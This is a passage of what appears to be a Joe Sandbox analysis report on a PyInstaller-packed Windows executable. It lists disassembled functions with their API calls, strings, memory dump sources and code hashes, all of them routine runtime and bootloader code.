Opcode ID: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction ID: 1ec7006b102bf207a0378e5772f1d5a93109ec49e5ea2f35d8cc00beffea3e4f
Opcode Fuzzy Hash: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction Fuzzy Hash: 7651D023A2C68285EA60BB22A4003BE6691FF85B94FA44175ED4DC77E5EF3CE541E700

Function 00007FF67AEEED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF67AEEF11A,?,?,-00000018,00007FF67AEEADC3,?,?,?,00007FF67AEEACBA,?,?,?,00007FF67AEE5FAE), ref: 00007FF67AEEEEFC
GetProcAddress.KERNEL32(?,?,?,00007FF67AEEF11A,?,?,-00000018,00007FF67AEEADC3,?,?,?,00007FF67AEEACBA,?,?,?,00007FF67AEE5FAE), ref: 00007FF67AEEEF08

Strings

api-ms-, xrefs: 00007FF67AEEEE46
ext-ms-, xrefs: 00007FF67AEEEE59

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 2807465dd65e7a314ca9ac35069b3c1c51167159796584078a8cc42211474b4f
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: 9C41E063B3DA02D1FA15EB16A8146753395BF48B90F884579ED1EC73B4EE3CE805A344

Function 00007FF67AED36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF67AED3804), ref: 00007FF67AED36E1
GetLastError.KERNEL32(?,00007FF67AED3804), ref: 00007FF67AED36EB

Part of subcall function 00007FF67AED2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2C9E
Part of subcall function 00007FF67AED2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF67AED3706,?,00007FF67AED3804), ref: 00007FF67AED2D63
Part of subcall function 00007FF67AED2C50: MessageBoxW.USER32 ref: 00007FF67AED2D99

Strings

Failed to obtain executable path., xrefs: 00007FF67AED36F3
Failed to resolve full path to executable %ls., xrefs: 00007FF67AED3739
Failed to convert executable path to UTF-8., xrefs: 00007FF67AED3790
\\?\, xrefs: 00007FF67AED375A
GetModuleFileNameW, xrefs: 00007FF67AED36FA

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 1068035de5f70f2578dc069b75941140bd83d80a52dbb56b8f66637b006debcc
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 98216563B3CA4381FA65BB24E8513B62250BFC8394FA041B6E55DC25F5EF2CE505E740

Function 00007FF67AEEBACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBEF9

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction ID: d0ead601fb27bc2e1149926211b3a1ea62341e7b40367654e4185b2ffb169fc3
Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction Fuzzy Hash: 53C1F633A2C68781F760AB1594402BD77A4FB81B80F5582B1EA8E877F1CF7DE8459700

Function 00007FF67AED8760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF67AED8780
OpenProcessToken.ADVAPI32 ref: 00007FF67AED8793
GetTokenInformation.KERNELBASE ref: 00007FF67AED87B8
GetLastError.KERNEL32 ref: 00007FF67AED87C2
GetTokenInformation.KERNELBASE ref: 00007FF67AED8802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF67AED881E
CloseHandle.KERNEL32 ref: 00007FF67AED8836

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: 4c2b0c7fd2c71de0b3ccb2cec208d206f839f3b1132c091e5aa39c765a06172e
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: C2217133E1C64282EB50AB55B55022AA3A1FBC5BA0F604275EAAD87AF4DF6CD444DB00

Function 00007FF67AED90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67AED8760: GetCurrentProcess.KERNEL32 ref: 00007FF67AED8780
Part of subcall function 00007FF67AED8760: OpenProcessToken.ADVAPI32 ref: 00007FF67AED8793
Part of subcall function 00007FF67AED8760: GetTokenInformation.KERNELBASE ref: 00007FF67AED87B8
Part of subcall function 00007FF67AED8760: GetLastError.KERNEL32 ref: 00007FF67AED87C2
Part of subcall function 00007FF67AED8760: GetTokenInformation.KERNELBASE ref: 00007FF67AED8802
Part of subcall function 00007FF67AED8760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF67AED881E
Part of subcall function 00007FF67AED8760: CloseHandle.KERNEL32 ref: 00007FF67AED8836

LocalFree.KERNEL32(?,00007FF67AED3C55), ref: 00007FF67AED916C
LocalFree.KERNEL32(?,00007FF67AED3C55), ref: 00007FF67AED9175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF67AED9157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF67AED9142
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF67AED9183
S-1-3-4, xrefs: 00007FF67AED9121

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction ID: 6d640fba5e269ab7a0f29a460bf1035e144a0cd591f996756fdfbbf21a3ef68f
Opcode Fuzzy Hash: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction Fuzzy Hash: 17216D32A2878281F650BB20E9152EA6360EFC8780F5440B5EA4DD3BA6DF3CD845E740

Function 00007FF67AEECFD0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67AEECFBB), ref: 00007FF67AEED0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67AEECFBB), ref: 00007FF67AEED177

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: 14c4f2d69e68f70beca3e0eb4d64e737d3866a193814c0abb5945e45fc4d33ac
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: B091D673F2D65289F750AF6594802BD2BA1FB44B88F1841B9DE0E97AA5DF3CD482D700

Function 00007FF67AEE5698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE56C5
CreateFileW.KERNELBASE ref: 00007FF67AEE5704
CloseHandle.KERNEL32 ref: 00007FF67AEE5739

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: c39134dfe076cbc8157a1f1181bde4c76f954160a48a2d72db510079ec3406e1
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: E5419223E2C78283F750AB6096503796360FB947A4F109375EA9C43AE2DF7CA5F09750

Function 00007FF67AEDCCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AEDCE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF67AEDCE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF67AEDCCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF67AEDCD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF67AEDCD91

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 9a5ff3a8e457948339756e4c2415db1943d1f08dd9aa8c00c0906f17388ef3bd
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 0A316D23E2D14345FA64BB74D8613B917919FC5388F6444B8E94ECB2F3DE2CA885E280

Function 00007FF67AEE9AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF67AEE9A9C), ref: 00007FF67AEE9AB1
TerminateProcess.KERNEL32(?,?,?,00007FF67AEE9A9C), ref: 00007FF67AEE9ABC
ExitProcess.KERNEL32 ref: 00007FF67AEE9ACB

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: fe496b209e670952fb994302e0683b79b8450ade0affb76a46cb5a5e84815de5
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 47D09E12B2C74646FB543B706C990795391AF48741F1414FCD84F863B3DD6CE4596700

Function 00007FF67AEE01AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE01F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE02E7

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 06daeb1e8a4e174833dba9043aad17d5c891e2897e43f9227b117fac3d77211b
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 9E512763B6D24286F768BA69940067A63D1BF44BA4F144774DD6CC77E6CF3CE501A600

Function 00007FF67AEEC1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF67AEEC33D), ref: 00007FF67AEEC1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF67AEEC33D), ref: 00007FF67AEEC1FA

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 17fbc5e42ef2ef668aba8c102dc3d77ba500191a4eb61843f959d7192d02d942
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 6E11016372CA8181EA10AB25B8000696361FB85BF4F544371EEBD8B7F8CF3CD0418740

Function 00007FF67AEEA9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 85646e51a839b81afbd78bedd12939bfff1ff64ce7cfa50efb23786e544f88fe
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 87E08C53F3D24282FF487BF2B8551381391AF88B41F0480B8C81DC72B2EE2DA885A700

Function 00007FF67AEEABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF67AEEAA45,?,?,00000000,00007FF67AEEAAFA), ref: 00007FF67AEEAC36
GetLastError.KERNEL32(?,?,?,00007FF67AEEAA45,?,?,00000000,00007FF67AEEAAFA), ref: 00007FF67AEEAC40

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 62ec347c2cdc8720c7d5a1dc495eaf9659d4a608cb08c976f3b13fa9f078f71d
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 60217513F3C68242FE947761A49427D17929F84BA1F4842BDDA2EC77F5CE6CE445A300

Function 00007FF67AEEBF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBF44

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: b194837250b3535b1dad5bfe3d63449e99ff124642fe13a609af642c13a671e1
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 36410333A2C20187FA34AB19E45027977A0EB55B91F104275DACEC76E1CF2DF442EB91

Function 00007FF67AED7F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF67AED802A

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction ID: 4b10d89de6633b26b97da5fb080bcc8084afead2998eb4522735428833d85c4d
Opcode Fuzzy Hash: a04a6dff0443a84ee3e7d7b85ba5df040c793d2a730aad3af21426add8a99984
Instruction Fuzzy Hash: 1D212923B2C65145FA10BB2265147BAA751BF85FC4F9C5070EE0C8B796CE7DE041E700

Function 00007FF67AEEB9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEBA32

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: aac1e15759fa5fca7e925e730cdfdce3b95f6b90006f6ca5f4228a464ba1c823
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
